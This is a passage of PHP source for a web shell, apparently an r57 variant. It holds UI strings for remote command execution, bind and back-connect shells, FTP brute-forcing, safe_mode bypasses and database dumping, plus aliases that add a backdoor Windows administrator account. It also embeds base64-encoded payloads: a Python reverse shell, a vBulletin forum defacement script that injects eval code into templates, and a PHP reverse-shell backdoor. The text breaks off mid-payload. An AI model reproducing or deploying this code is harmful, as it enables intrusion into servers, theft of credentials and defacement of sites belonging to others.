'eng_err2'=>'Error! Can\'t create ',
'eng_err3'=>'Error! Can\'t connect to ftp',
'eng_err4'=>'Error! Can\'t login on ftp server',
'eng_err5'=>'Error! Can\'t change dir on ftp',
'eng_err6'=>'Error! Can\'t sent mail',
'eng_err7'=>'Mail send',
'eng_text200'=>'read file from vul copy()',
'eng_text202'=>'where file in server',
'eng_text300'=>'read file from vul curl()',
'eng_text203'=>'read file from vul ini_restore()',
'eng_text204'=>'write shell from vul error_log()',
'eng_text205'=>'write shell in this side',
'eng_text206'=>'read dir',
'eng_text207'=>'read dir from vul reg_glob',
'eng_text208'=>'execute with function',
'eng_text209'=>'read dir from vul root',
'eng_text210'=>'DeZender ',
'eng_text211'=>'::safe_mode off::',
'eng_text212'=>'close safe_mode with php.ini',
'eng_text213'=>'close security_mod with .htaccess',
'eng_text214'=>'Admin name',
'eng_text215'=>'IRC server ',
'eng_text216'=>'#room name',
'eng_text217'=>'server',
'eng_text218'=>'write ini.php file to close safe_mode with ini_restore vul',
'eng_text219'=>'Get file to server in safe_mode and change name',
'eng_text220'=>'show file with symlink vul',
'eng_text221'=>'zip file in server to download',
'eng_text222'=>'2 symlink use vul',
'eng_text223'=>'read file from funcution',
'eng_text224'=>'read file from PLUGIN ',
/* --------------------------------------------------------------- */
'ar_text1' =>'Executed command',
'ar_text2' =>'Execute command on server',
'ar_text3' =>'Run command',
'ar_text4' =>'Work directory',
'ar_text5' =>'Upload files on server',
'ar_text6' =>'Local file',
'ar_text7' =>'Aliases',
'ar_text8' =>'Select alias',
'ar_butt1' =>'Execute',
'ar_butt2' =>'Upload',
'ar_text9' =>'Bind port to /bin/bash',
'ar_text10'=>'Port',
'ar_text11'=>'Password for access',
'ar_butt3' =>'Bind',
'ar_text12'=>'back-connect',
'ar_text13'=>'IP',
'ar_text14'=>'Port',
'ar_butt4' =>'Connect',
'ar_text15'=>'Upload files from remote server',
'ar_text16'=>'With',
'ar_text17'=>'Remote file',
'ar_text18'=>'Local file',
'ar_text19'=>'Exploits',
'ar_text20'=>'Use',
'ar_text21'=>' New name',
'ar_text22'=>'datapipe',
'ar_text23'=>'Local port',
'ar_text24'=>'Remote host',
'ar_text25'=>'Remote port',
'ar_text26'=>'Use',
'ar_butt5' =>'Run',
'ar_text28'=>'Work in safe_mode',
'ar_text29'=>'ACCESS DENIED',
'ar_butt6' =>'Change',
'ar_text30'=>'Cat file',
'ar_butt7' =>'Show',
'ar_text31'=>'File not found',
'ar_text32'=>'Eval PHP code',
'ar_text33'=>'Test bypass open_basedir with cURL functions',
'ar_butt8' =>'Test',
'ar_text34'=>'Test bypass safe_mode with include function',
'ar_text35'=>'Test bypass safe_mode with load file in mysql',
'ar_text36'=>'Database . Table',
'ar_text37'=>'Login',
'ar_text38'=>'Password',
'ar_text39'=>'Database',
'ar_text40'=>'Dump database table',
'ar_butt9' =>'Dump',
'ar_text41'=>'Save dump in file',
'ar_text42'=>'Edit files',
'ar_text43'=>'File for edit',
'ar_butt10'=>'Save',
'ar_text44'=>'Can\'t edit file! Only read access!',
'ar_text45'=>'File saved',
'ar_text46'=>'Show phpinfo()',
'ar_text47'=>'Show variables from php.ini',
'ar_text48'=>'Delete temp files',
'ar_butt11'=>'Edit file',
'ar_text49'=>'Delete script from server',
'ar_text50'=>'View cpu info',
'ar_text51'=>'View memory info',
'ar_text52'=>'Find text',
'ar_text53'=>'In dirs',
'ar_text54'=>'Find text in files',
'ar_butt12'=>'Find',
'ar_text55'=>'Only in files',
'ar_text56'=>'Nothing :(',
'ar_text57'=>'Create/Delete File/Dir',
'ar_text58'=>'name',
'ar_text59'=>'file',
'ar_text60'=>'dir',
'ar_butt13'=>'Create/Delete',
'ar_text61'=>'File created',
'ar_text62'=>'Dir created',
'ar_text63'=>'File deleted',
'ar_text64'=>'Dir deleted',
'ar_butt65'=>'Create',
'ar_text65'=>'Create',
'ar_text66'=>'Delete',
'ar_text67'=>'Chown/Chgrp/Chmod',
'ar_text68'=>'Command',
'ar_text69'=>'param1',
'ar_text70'=>'param2',
'ar_text71'=>"Second commands param is:\r\n- for CHOWN - name of new owner or UID\r\n- for CHGRP - group name or GID\r\n- for CHMOD - 0777, 0755...",
'ar_text72'=>'Text for find',
'ar_text73'=>'Find in folder',
'ar_text74'=>'Find in files',
'ar_text75'=>'* you can use regexp',
'ar_text76'=>'Search text in files via find',
'ar_text80'=>'Type',
'ar_text81'=>'Net',
'ar_text82'=>'Databases',
'ar_text83'=>'Run SQL query',
'ar_text84'=>'SQL query',
'ar_text85'=>'Test bypass safe_mode with commands execute via MSSQL server',
'ar_text86'=>'Download files from server',
'ar_butt14'=>'Download',
'ar_text87'=>'Download files from remote ftp-server',
'ar_text88'=>'FTP-server:port',
'ar_text89'=>'File on ftp',
'ar_text90'=>'Transfer mode',
'ar_text91'=>'Archivation',
'ar_text92'=>'without archivation',
'ar_text93'=>'FTP',
'ar_text94'=>'FTP-bruteforce',
'ar_text95'=>'Users list',
'ar_text96'=>'Can\'t get users list',
'ar_text97'=>'checked: ',
'ar_text98'=>'success: ',
'ar_text99'=>'* use username from /etc/passwd for ftp login and password',
'ar_text100'=>'Send file to remote ftp server',
'ar_text101'=>'Use reverse (user -> resu) login for password',
'ar_text102'=>'Mail',
'ar_text103'=>'Send email',
'ar_text104'=>'Send file to email',
'ar_text105'=>'To',
'ar_text106'=>'From',
'ar_text107'=>'Subj',
'ar_butt15'=>'Send',
'ar_text108'=>'Mail',
'ar_text109'=>'Hide',
'ar_text110'=>'Show',
'ar_text111'=>'SQL-Server : Port',
'ar_text112'=>'Test bypass safe_mode with function mb_send_mail',
'ar_text113'=>'Test bypass safe_mode, view dir list via imap_list',
'ar_text114'=>'Test bypass safe_mode, view file contest via imap_body',
'ar_text115'=>'Test bypass safe_mode, copy file via compress.zlib:// in function copy()',
'ar_text116'=>'Copy from',
'ar_text117'=>'to',
'ar_text118'=>'File copied',
'ar_text119'=>'Cant copy file',
'ar_err0'=>'Error! Can\'t write in file ',
'ar_err1'=>'Error! Can\'t read file ',
'ar_err2'=>'Error! Can\'t create ',
'ar_err3'=>'Error! Can\'t connect to ftp',
'ar_err4'=>'Error! Can\'t login on ftp server',
'ar_err5'=>'Error! Can\'t change dir on ftp',
'ar_err6'=>'Error! Can\'t sent mail',
'ar_err7'=>'Mail send',
'ar_text200'=>'read file from vul copy()',
'ar_text202'=>'where file in server',
'ar_text300'=>'read file from vul curl()',
'ar_text203'=>'read file from vul ini_restore()',
'ar_text204'=>'write shell from vul error_log()',
'ar_text205'=>'write shell in this side',
'ar_text206'=>'read dir',
'ar_text207'=>'read dir from vul reg_glob',
'ar_text208'=>'execute with function',
'ar_text209'=>'read dir from vul root',
'ar_text210'=>'DeZender ',
'ar_text211'=>'::safe_mode off::',
'ar_text212'=>'colse safe_mode with php.ini',
'ar_text213'=>'colse security_mod with .htaccess',
'ar_text214'=>'Admin name',
'ar_text215'=>'IRC server ',
'ar_text216'=>'#room name',
'ar_text217'=>'server',
'ar_text218'=>'write ini.php file to close safe_mode with ini_restore vul',
'ar_text219'=>'Get file to server in safe_mode and change name',
'ar_text220'=>'show file with symlink vul',
'ar_text221'=>'zip file in server to download',
'ar_text222'=>'2 symlink use vul',
'ar_text223'=>'read file from funcution',
'ar_text224'=>'read file from PLUGIN ',
);
$aliases=array(
'________________for server unix ______________-'=>'dir -ao',
'find config* files'=>'find / -type f -name "config*"',
'find config* files in current dir'=>'find . -type f -name "config*"',
'find all writable files'=>'find / -type f -perm -2 -ls',
'find all writable files in current dir'=>'find . -type f -perm -2 -ls',
'find all writable directories'=>'find / -type d -perm -2 -ls',
'find all writable directories in current dir'=>'find . -type d -perm -2 -ls',
'find all writable directories and files'=>'find / -perm -2 -ls',
'find all writable directories and files in current dir'=>'find . -perm -2 -ls',
'find all service.pwd files'=>'find / -type f -name service.pwd',
'find service.pwd files in current dir'=>'find . -type f -name service.pwd',
'find all .bash_history files'=>'find / -type f -name .bash_history',
'find .bash_history files in current dir'=>'find . -type f -name .bash_history',
'find all .mysql_history files'=>'find / -type f -name .mysql_history',
'find .mysql_history files in current dir'=>'find . -type f -name .mysql_history',
'show opened ports'=>'netstat -an | grep -i listen',
'________________for server windows ______________-'=>'dir',
'1_add new user'=>'net user h1kt0s4 123456 /add',
'2_add your user for admin group'=>'net localgroup administrators h1kt0s4 /add',
'3_add your user for Remote Desktop group'=>'net localgroup "Remote Desktop Users" h1kt0s4 /add',
'----------------------------------------------------------------------------------------------------'=>'ls -la'
);
$table_up1 = "<tr><td bgcolor=#272727><font face=tahoma size=-2><b><div align=center>:: ";
$table_up2 = " ::</div></b></font></td></tr><tr><td>";
$table_up3 = "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#cccccc><tr><td bgcolor=#333333>";
$table_end1 = "</td></tr>";
$arrow = " <font face=Webdings color=gray>4</font>";
$lb = "<font color=#736F6E>[</font>";
$rb = "<font color=#736F6E>]</font>";
$font = "<font face=tahoma size=-2>";
$ts = "<table class=table1 width=100% align=center>";
$te = "</table>";
$fs = "<form name=form method=POST>";
$fe = "</form>";
if(isset($_GET['users']))
{
if(!$users=get_users()) { echo "<center><font face=tahoma size=-2 color=red>".$lang[$language.'_text96']."</font></center>"; }
else
{
echo '<center><textarea cols=20 rows=20>';
foreach($users as $user) { echo $user."<br>"; }
echo '</textarea></center>';
}
echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
}
if (!empty($_POST['dir'])) { @chdir($_POST['dir']); }
$dir = @getcwd();
$unix = 0;
if(strlen($dir)>1 && $dir[1]==":") $unix=0; else $unix=1;
if(empty($dir))
{
$os = getenv('OS');
if(empty($os)){ $os = php_uname(); }
if(empty($os)){ $os ="-"; $unix=1; }
else
{
if(@eregi("^win",$os)) { $unix = 0; }
else { $unix = 1; }
}
}
if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text")
{
echo $head;
if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); }
else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); }
$sr->SearchText(0,0);
$res = $sr->GetResultFiles();
$found = $sr->GetMatchesCount();
$titles = $sr->GetTitles();
$r = "";
if($found > 0)
{
$r .= "<TABLE width=100%>";
foreach($res as $file=>$v)
{
$r .= "<TR>";
$r .= "<TD colspan=2><font face=tahoma size=-2><b>".ws(3);
$r .= (!$unix)? str_replace("/","\\",$file) : $file;
$r .= "</b></font></ TD>";
$r .= "</TR>";
foreach($v as $a=>$b)
{
$r .= "<TR>";
$r .= "<TD align=center><B><font face=tahoma size=-2>".$a."</font></B></TD>";
$r .= "<TD><font face=tahoma size=-2>".ws(2).$b."</font></TD>";
$r .= "</TR>\n";
}
}
$r .= "</TABLE>";
echo $r;
}
else
{
echo "<P align=center><B><font face=tahoma size=-2>".$lang[$language.'_text56']."</B></font></P>";
}
echo "<br><div align=center><font face=tahoma size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
die();
}
if(!$safe_mode && strpos(ex("echo abcr57"),"r57")!=3) { $safe_mode = 1; }
$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE');
if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; }
function ws($i)
{
return @str_repeat(" ",$i);
}
function ex($cfe)
{
$res = '';
if (!empty($cfe))
{
if(function_exists('exec'))
{
@exec($cfe,$res);
$res = join("\n",$res);
}
elseif(function_exists('shell_exec'))
{
$res = @shell_exec($cfe);
}
elseif(function_exists('system'))
{
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(function_exists('passthru'))
{
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
}
elseif(@is_resource($f = @popen($cfe,"r")))
{
$res = "";
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
}
}
return $res;
}
function get_users()
{
$users = array();
$rows=file('/etc/passwd');
if(!$rows) return 0;
foreach ($rows as $string)
{
$user = @explode(":",$string);
if(substr($string,0,1)!='#') array_push($users,$user[0]);
}
return $users;
}
function err($n,$txt='')
{
echo '<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#000000><font color=red face=tahoma size=-2><div align=center><b>';
echo $GLOBALS['lang'][$GLOBALS['language'].'_err'.$n];
if(!empty($txt)) { echo " $txt"; }
echo '</b></div></font></td></tr></table>';
return null;
}
function perms($mode)
{
if (!$GLOBALS['unix']) return 0;
if( $mode & 0x1000 ) { $type='p'; }
else if( $mode & 0x2000 ) { $type='c'; }
else if( $mode & 0x4000 ) { $type='d'; }
else if( $mode & 0x6000 ) { $type='b'; }
else if( $mode & 0x8000 ) { $type='-'; }
else if( $mode & 0xA000 ) { $type='l'; }
else if( $mode & 0xC000 ) { $type='s'; }
else $type='u';
$owner["read"] = ($mode & 00400) ? 'r' : '-';
$owner["write"] = ($mode & 00200) ? 'w' : '-';
$owner["execute"] = ($mode & 00100) ? 'x' : '-';
$group["read"] = ($mode & 00040) ? 'r' : '-';
$group["write"] = ($mode & 00020) ? 'w' : '-';
$group["execute"] = ($mode & 00010) ? 'x' : '-';
$world["read"] = ($mode & 00004) ? 'r' : '-';
$world["write"] = ($mode & 00002) ? 'w' : '-';
$world["execute"] = ($mode & 00001) ? 'x' : '-';
if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S';
if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S';
if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T';
$s=sprintf("%1s", $type);
$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']);
$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']);
$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']);
return trim($s);
}
function in($type,$name,$size,$value,$checked=0)
{
$ret = "<input type=".$type." name=".$name." ";
if($size != 0) { $ret .= "size=".$size." "; }
$ret .= "value=\"".$value."\"";
if($checked) $ret .= " checked";
return $ret.">";
}
function which($pr)
{
$path = ex("which $pr");
if(!empty($path)) { return $path; } else { return $pr; }
}
function cf($fname,$text)
{
$w_file=@fopen($fname,"w") or err(0);
if($w_file)
{
@fputs($w_file,base64_decode($text));
@fclose($w_file);
}
}
function sr($l,$t1,$t2)
{
return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>";
}
if (!@function_exists("view_size"))
{
function view_size($size)
{
if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";}
elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";}
elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";}
else {$size = $size . " B";}
return $size;
}
}
function DirFilesR($dir,$types='')
{
$files = Array();
if(($handle = @opendir($dir)))
{
while (false !== ($file = @readdir($handle)))
{
if ($file != "." && $file != "..")
{
if(@is_dir($dir."/".$file))
$files = @array_merge($files,DirFilesR($dir."/".$file,$types));
else
{
$pos = @strrpos($file,".");
$ext = @substr($file,$pos,@strlen($file)-$pos);
if($types)
{
if(@in_array($ext,explode(';',$types)))
$files[] = $dir."/".$file;
}
else
$files[] = $dir."/".$file;
}
}
}
@closedir($handle);
}
return $files;
}
class SearchResult
{
var $text;
var $FilesToSearch;
var $ResultFiles;
var $FilesTotal;
var $MatchesCount;
var $FileMatschesCount;
var $TimeStart;
var $TimeTotal;
var $titles;
function SearchResult($dir,$text,$filter='')
{
$dirs = @explode(";",$dir);
$this->FilesToSearch = Array();
for($a=0;$a<count($dirs);$a++)
$this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter));
$this->text = $text;
$this->FilesTotal = @count($this->FilesToSearch);
$this->TimeStart = getmicrotime();
$this->MatchesCount = 0;
$this->ResultFiles = Array();
$this->FileMatchesCount = Array();
$this->titles = Array();
}
function GetFilesTotal() { return $this->FilesTotal; }
function GetTitles() { return $this->titles; }
function GetTimeTotal() { return $this->TimeTotal; }
function GetMatchesCount() { return $this->MatchesCount; }
function GetFileMatchesCount() { return $this->FileMatchesCount; }
function GetResultFiles() { return $this->ResultFiles; }
function SearchText($phrase=0,$case=0) {
$qq = @explode(' ',$this->text);
$delim = '|';
if($phrase)
foreach($qq as $k=>$v)
$qq[$k] = '\b'.$v.'\b';
$words = '('.@implode($delim,$qq).')';
$pattern = "/".$words."/";
if(!$case)
$pattern .= 'i';
foreach($this->FilesToSearch as $k=>$filename)
{
$this->FileMatchesCount[$filename] = 0;
$FileStrings = @file($filename) or @next;
for($a=0;$a<@count($FileStrings);$a++)
{
$count = 0;
$CurString = $FileStrings[$a];
$CurString = @Trim($CurString);
$CurString = @strip_tags($CurString);
$aa = '';
if(($count = @preg_match_all($pattern,$CurString,$aa)))
{
$CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString);
$this->ResultFiles[$filename][$a+1] = $CurString;
$this->MatchesCount += $count;
$this->FileMatchesCount[$filename] += $count;
}
}
}
$this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4);
}
}
function getmicrotime()
{
list($usec,$sec) = @explode(" ",@microtime());
return ((float)$usec + (float)$sec);
}
$back_python="IyEvdXNyL2Jpbi9weXRob24KaW1wb3J0IHNvY2tldCwgb3MsIHN5cwpIT1NUID0gc3lzLmFyZ3Zb
MV0KUE9SVCA9IGludChzeXMuYXJndlsyXSkKU0hFTEwgPSAiL2Jpbi9iYXNoIC1pIgpzb2NrID0g
c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pCnNvY2suY29u
bmVjdCgoSE9TVCxQT1JUKSkKdHJ5OgogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAwKQogICAg
b3MuZHVwMihzb2NrLmZpbGVubygpLCAxKQogICAgb3MuZHVwMihzb2NrLmZpbGVubygpLCAyKQog
ICAgb3Muc3lzdGVtKFNIRUxMKQpleGNlcHQgRXhjZXB0aW9uLGU6CiAgICBwcmludCBlCnNvY2su
Y2xvc2UoKQ==";
$vbb="PD9waHAKLyoKICAgfC58LnwufC58LnwufC58LnwufC58LnwufC58LnwufC58LnwufC58LnwufC58
LnwufC58LnwKIHwufCMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjI3wufAogfC58IyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAjfC58CiB8LnwjICA8PT0tfEFMLU1vR3JNfC09PT4gLSA8PT0tfHQwdkBIb1RtQWlM
LkNvTS09PT4gICN8LnwKIHwufCMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgI3wufAogfC58IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
IyMjIyMjIyMjIyMjIyMjfC58CiAgIHwufC58LnwufC58LnwufC58LnwufC58LnwufC58LnwufC58
LnwufC58LnwufC58LnwufC58CiovCgo/Pgo8aHRtbD48c3R5bGU+CmlucHV0LCBzZWxlY3QsIHRl
eHRhcmVhIHsKYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsKYm9yZGVyLXN0eWxlOiAjN2E3Yzdk
Owpib3JkZXItd2lkdGg6IDFweDsKZm9udC1mYW1pbHk6IHZlcmRhbmEsIGFyaWFsLCBzYW5zLXNl
cmlmOwpmb250LXNpemU6IDExcHg7CmNvbG9yOiAjN2E3YzdkOwpwYWRkaW5nOiAwcHg7Cn0KQTps
aW5rIHsKQ09MT1I6I0EyQTJBMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTp2aXNpdGVkIHsK
Q09MT1I6I0EyQTJBMjsgVEVYVC1ERUNPUkFUSU9OOiBub25lCn0KQTphY3RpdmUgewpDT0xPUjoj
Nzg3ODc4OyBURVhULURFQ09SQVRJT046IG5vbmUKfQpBOmhvdmVyIHsKY29sb3I6IzhDOEM4QztU
RVhULURFQ09SQVRJT046IG5vbmUKfQo8L3N0eWxlPgo8aGVhZD4KICA8dGl0bGU+Q2hhbmdlIEFs
bCBwYWdlcyBGb3IgRm9ydW08L3RpdGxlPgogIDxtZXRhIGh0dHAtZXF1aXY9IkNvbnRlbnQtVHlw
ZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXV0Zi04Ij4KPC9oZWFkPgogICAgICAgPGJv
ZHkgYmdjb2xvcj0iYmxhY2siIHRleHQ9IiM3YTdjN2QiPgogICAgICAgPGRpdiBhbGlnbj0iY2Vu
dGVyIj4KICAgICAgPEgyPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogNDAwIj48Zm9udCBmYWNl
PSJUcmVidWNoZXQgTVMiIHNpemU9IjQiPgoJCTxmb250IGNvbG9yPSIjMDBGRjAwIj4mbmJzcDt2
QiBJbmRleCBDaGFuZ2VyPC9mb250Pjxmb250IGNvbG9yPSIjRkYwMDAwIj4gCgkJfCA8L2ZvbnQ+
Q29kZWQgQnkgPGZvbnQgY29sb3I9IiNGRjAwMDAiPkFMLU0wR3JNIHw8L2ZvbnQ+IEVkaXQgQnkK
CQk8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+VGhlIFN3b3JkPC9mb250PjwvZm9udD48L3NwYW4+PC9I
Mj4KCQk8Zm9udCBmYWNlPSJUYWhvbWEiIGNvbG9yPSIjQzBDMEMwIj50aGUtbG9uZWx5OTJAYXR0
Lm5ldDwvZm9udD48cD4KCQk8Zm9udCBmYWNlPSJUYWhvbWEiPiEgQ2hhbmdlIEFsbCBQYWdlcyBG
b3IgRm9ydW0gISZuYnNwOwo8YnI+PC9mb250Pjxicj4KICAgICAgPD8KCmlmKGVtcHR5KCRfUE9T
VFsnaW5kZXgnXSkpewplY2hvICI8Rk9STSBtZXRob2Q9XCJQT1NUXCI+Cmhvc3QgOiA8SU5QVVQg
c2l6ZT1cIjE1XCIgdmFsdWU9XCJsb2NhbGhvc3RcIiBuYW1lPVwibG9jYWxob3N0XCIgdHlwZT1c
InRleHRcIj4KZGF0YWJhc2UgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJmb3J1bV92Ylwi
IG5hbWU9XCJkYXRhYmFzZVwiIHR5cGU9XCJ0ZXh0XCI+PGJyPgp1c2VybmFtZSA6IDxJTlBVVCBz
aXplPVwiMTVcIiB2YWx1ZT1cImZvcnVtX3ZiXCIgbmFtZT1cInVzZXJuYW1lXCIgdHlwZT1cInRl
eHRcIj4KcGFzc3dvcmQgOiA8SU5QVVQgc2l6ZT1cIjE1XCIgdmFsdWU9XCJ2YlwiIG5hbWU9XCJw
YXNzd29yZFwiIHR5cGU9XCJwYXNzd29yZFwiPjxicj4KICAgICAgPGJyPgo8dGV4dGFyZWEgbmFt
ZT1cImluZGV4XCIgY29scz1cIjcwXCIgcm93cz1cIjMwXCI+U2V0IFlvdXIgSW5kZXg8L3RleHRh
cmVhPjxicj4KPElOUFVUIHZhbHVlPVwiU2V0XCIgbmFtZT1cInNlbmRcIiB0eXBlPVwic3VibWl0
XCI+CjwvRk9STT4iOwp9ZWxzZXsKJGxvY2FsaG9zdCA9ICRfUE9TVFsnbG9jYWxob3N0J107CiRk
YXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107CiR1c2VybmFtZSAgPSAkX1BPU1RbJ3VzZXJu
YW1lJ107CiRwYXNzd29yZCAgPSAkX1BPU1RbJ3Bhc3N3b3JkJ107CiRpbmRleCAgICAgPSAkX1BP
U1RbJ2luZGV4J107CiAgICAgICAgIEBteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1l
LCRwYXNzd29yZCkgb3IgZGllKG15c3FsX2Vycm9yKCkpOwogICAgICAgICBAbXlzcWxfc2VsZWN0
X2RiKCRkYXRhYmFzZSkgb3IgZGllKG15c3FsX2Vycm9yKCkpOwoKJGluZGV4PXN0cl9yZXBsYWNl
KCJcJyIsIiciLCRpbmRleCk7Cgokc2V0X2luZGV4ICA9ICJ7XCR7ZXZhbChiYXNlNjRfZGVjb2Rl
KFwnIjsKCiRzZXRfaW5kZXggLj0gYmFzZTY0X2VuY29kZSgiZWNobyBcIiRpbmRleFwiOyIpOwoK
CiRzZXRfaW5kZXggLj0gIlwnKSl9fXtcJHtleGl0KCl9fTwvdGV4dGFyZWE+IjsKCiRvaz1AbXlz
cWxfcXVlcnkoIlVQREFURSB0ZW1wbGF0ZSBTRVQgdGVtcGxhdGUgPSciLiRzZXRfaW5kZXguIicg
V0hFUkUgdGl0bGUgPSdzcGFjZXJfb3BlbiciKSBvciBkaWUobXlzcWxfZXJyb3IoKSk7CgppZigk
b2spewplY2hvICIhISB1cGRhdGUgZmluaXNoICEhPGJyPjxicj4iOwp9Cgp9CiMgRm9vdGVyCmVj
aG8gIjxzdHJvbmc+U3BlY2lhTCBHcmVlVHogVG8gOjwvc3Ryb25nPiA8dT5Nb2hhamVyMjI8L3U+
IjsKPz4=";
$backdoor_php1="PD9waHAKCiRpcGFkZHI9JGFyZ3ZbMV07CiRwb3J0PSRhcmd2WzJdOyAKQHNldF90aW1lX2xpbWl0
KDApOwpAaWdub3JlX3VzZXJfYWJvcnQoMSk7IApAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1l
JywwKTsgCiRkaXM9QGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7IAppZighZW1wdHkoJGRp
cykpeyAkZGlzPXByZWdfcmVwbGFjZSgnL1ssIF0rLycsICcsJywgJGRpcyk7IAokZGlzPWV4cGxv
ZGUoJywnLCAkZGlzKTsgJGRpcz1hcnJheV9tYXAoJ3RyaW0nLCAkZGlzKTsgfQplbHNleyAkZGlz
PWFycmF5KCk7IH0gCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2ttUHFUaScpKXsKZnVuY3Rpb24ga21Q
cVRpKCRjKXsKZ2xvYmFsICRkaXM7IAokYz0kYy4iIDI+JjFcbiI7IAokTHF6VWh6dj0naXNfY2Fs
bGFibGUnOyAKJGpXcUs9J2luX2FycmF5JzsgCmlmKCRMcXpVaHp2KCdzaGVsbF9leGVjJylhbmQh
JGpXcUsoJ3NoZWxsX2V4ZWMnLCRkaXMpKXsKJG89c2hlbGxfZXhlYygkYyk7IAp9ZWxzZSBpZigk
THF6VWh6dignZXhlYycpYW5kISRqV3FLKCdleGVjJywkZGlzKSl7CiRvPWFycmF5KCk7IGV4ZWMo
JGMsJG8pOyAkbz1qb2luKGNocigxMCksJG8pLmNocigxMCk7IAp9ZWxzZSBpZigkTHF6VWh6dign
cHJvY19vcGVuJylhbmQhJGpXcUsoJ3Byb2Nfb3BlbicsJGRpcykpewokaGFuZGxlPXByb2Nfb3Bl
bigkYyxhcnJheShhcnJheShwaXBlLCdyJyksYXJyYXkocGlwZSwndycpLGFycmF5KHBpcGUsJ3cn
KSksJHBpcGVzKTsgCiRvPU5VTEw7IHdoaWxlKCFmZW9mKCRwaXBlc1sxXSkpeyAkby49ZnJlYWQo
JHBpcGVzWzFdLDEwMjQpOyB9IApAcHJvY19jbG9zZSgkaGFuZGxlKTsgfQplbHNlIGlmKCRMcXpV
aHp2KCdzeXN0ZW0nKWFuZCEkaldxSygnc3lzdGVtJywkZGlzKSl7Cm9iX3N0YXJ0KCk7IHN5c3Rl
bSgkYyk7ICRvPW9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgCn1lbHNlIGlmKCRM
cXpVaHp2KCdwYXNzdGhydScpYW5kISRqV3FLKCdwYXNzdGhydScsJGRpcykpewpvYl9zdGFydCgp
OyBwYXNzdGhydSgkYyk7ICRvPW9iX2dldF9jb250ZW50cygpOyBvYl9lbmRfY2xlYW4oKTsgCn1l
bHNlIGlmKCRMcXpVaHp2KCdwb3BlbicpYW5kISRqV3FLKCdwb3BlbicsJGRpcykpewokZnA9cG9w
ZW4oJGMsJ3InKTsgJG89TlVMTDsgaWYoaXNfcmVzb3VyY2UoJGZwKSl7CndoaWxlKCFmZW9mKCRm
cCkpeyAkby49ZnJlYWQoJGZwLDEwMjQpOyB9IAp9IApAcGNsb3NlKCRmcCk7IAp9ZWxzZSB7ICRv
PTA7IH0gCnJldHVybiAkbzsgfSAKfQokbm9mdW5jcz0nbm8gZXhlYyBmdW5jdGlvbnMnOwppZihp
c19jYWxsYWJsZSgnZnNvY2tvcGVuJylhbmQhaW5fYXJyYXkoJ2Zzb2Nrb3BlbicsJGRpcykpewok
cz1AZnNvY2tvcGVuKCRpcGFkZHIsJHBvcnQpOyB3aGlsZSgkYz1mcmVhZCgkcywyMDQ4KSl7CiRv
dXQgPSAnJzsgaWYoc3Vic3RyKCRjLDAsMykgPT0gJ2NkICcpeyAKY2hkaXIoc3Vic3RyKCRjLDMs
LTEpKTsgCn0gZWxzZSBpZiAoc3Vic3RyKCRjLDAsNCkgPT0gJ3F1aXQnIHx8IHN1YnN0cigkYyww
LDQpID09ICdleGl0JykgeyBicmVhazsgfQplbHNleyAkb3V0PWttUHFUaShzdWJzdHIoJGMsMCwt
MSkpOyBpZigkb3V0PT09ZmFsc2UpeyBmd3JpdGUoJHMsJG5vZnVuY3MpOyBicmVhazsgfSB9IApm
d3JpdGUoJHMsJG91dCk7IH0gZmNsb3NlKCRzKTsgfWVsc2V7ICRzPUBzb2NrZXRfY3JlYXRlKEFG
